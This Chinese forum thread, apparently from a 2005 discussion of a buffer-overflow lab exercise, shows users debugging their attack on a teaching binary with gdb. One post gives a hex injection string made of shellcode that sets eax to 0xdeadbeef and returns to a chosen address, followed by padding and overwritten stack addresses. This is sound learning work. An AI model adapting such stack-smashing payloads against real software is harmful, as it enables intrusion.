我开始的时候把3中的ebp搞错了,搞了好常时间没出来。后来用gdb的x命令观察堆栈,并单步执行,发现ebp的值不是我原来的那个了(写blog上那篇文章中的时候),和那个不一样了。^_^,偷懒偷不得啊!
zne 回复于:2005-02-18 19:52:06 >>我的填充串是这样的:b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 e8 ef ff bf c0 ef ff bf
b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 这部分没意见,下面的test的frame pointer我觉得我输入的也是对的(不过这里有个问题,一会会提到),关键就在buf[]的地址上,是怎么来得到的?
我就是在运行到getbuf的断点时(此时已执行了push %ebp和movl %esp,%ebp)
print /x ($ebp-24) 来得到buf[]地址的,我感觉应该也没有错
但是有一个问题,我看有一些书里写对每个linux程序来说,代码段都从0x08048000开始,stack frame段都从0xbfffffff开始,
aero得到的test 的frame pointer是0xbfffefe8,buf[]地址是0xbfffefc0,显然是符合这个说法的
而我打印出的test 的frame pointer是0xfeeb7ff8,buf[]地址是0xfeeb7fc0,跟书上的说法不符,都比0xbfffffff大出很多... 不知道converse你的情况怎么样?
我的系统是fedora core 2,去年10月买的,就图书城里买的那种9张cd一张dvd的那种,有没有可能是这个系统不许程序执行数据段,尤其是堆栈段的内容呢?
aero 回复于:2005-02-18 22:10:51 >>我就是在运行到getbuf的断点时(此时已执行了push %ebp和movl %esp,%ebp) print /x ($ebp-24) 来得到buf[]地址的,我感觉应该也没有错 的确,感觉这样也没有错啊!呵呵,今天上班有点忙,就没多看,明天到公司在看看。 另外,我说的那个问题就是:当用b 38(行号)设置断点的时候,r到这里的时候是刚刚执行完毕call指令(可以用x命令看堆栈看出来)。在这个时候执行p &buf得出的地址值并不是buf的真实地址。而n了一步以后,就实执行了建立getbuf函数的STP后执行p &buf得出的才实真是的buf地址。不知道为什么。那么前面的那个buf是哪个buf呢?如果没有可见的变量,gdb应该报变量未知啊,而它却打出了数值。
|